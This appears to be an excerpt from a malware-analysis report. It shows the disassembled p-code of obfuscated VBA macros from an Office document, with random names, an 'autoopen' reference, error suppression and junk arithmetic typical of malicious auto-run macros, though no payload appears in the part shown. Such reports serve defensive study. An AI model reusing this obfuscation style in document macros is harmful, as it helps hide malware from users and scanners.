' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld Uc2hcMJ4 
' 	Div 
' 	Ld Si0EvO3A 
' 	Div 
' 	Ld L4vAozz 
' 	Ld QjontjfN 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x025B 
' 	Div 
' 	Ld q1XdlZN 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St TQGrmo6 
' Line #77:
' Line #78:
' 	StartForVariable 
' 	Next 
' Line #79:
' 	Ld WbEioj 
' 	Ld k15nX2L 
' 	Eq 
' 	LoopUntil 
' Line #80:
' 	EndFunc 
' Line #81:
' Macros/VBA/GrwLhcn - 6652 bytes
' Line #0:
' 	FuncDefn (Sub GrwLhcn())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Do 
' Line #3:
' 	Ld autoopen 
' 	Ld jvjqYsX 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld hczFGY 
' 	LitDI2 0x035E 
' 	LitDI2 0x0004 
' 	LitDI2 0x01BA 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x023D 
' 	Add 
' 	Ld mVO8Yp 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0154 
' 	Sub 
' 	Ld KPXjvk 
' 	Sub 
' 	Ld m4rSD94 
' 	Ld t8uqloK 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St Jd_BWH_ 
' Line #5:
' 	LitDI2 0x02A6 
' 	ArgsLd Tan 0x0001 
' 	St zBpqwz 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld kaIzdc 
' 	Ld lzpnlMi 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld VwEE41W 
' 	Div 
' 	Ld I8j4uSPa 
' 	Div 
' 	Ld DLjNOSF 
' 	Ld bSa_wb 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x01AB 
' 	Div 
' 	Ld OJzlw9d 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
…

Open this report in the interactive analyzer, or submit your own file for analysis.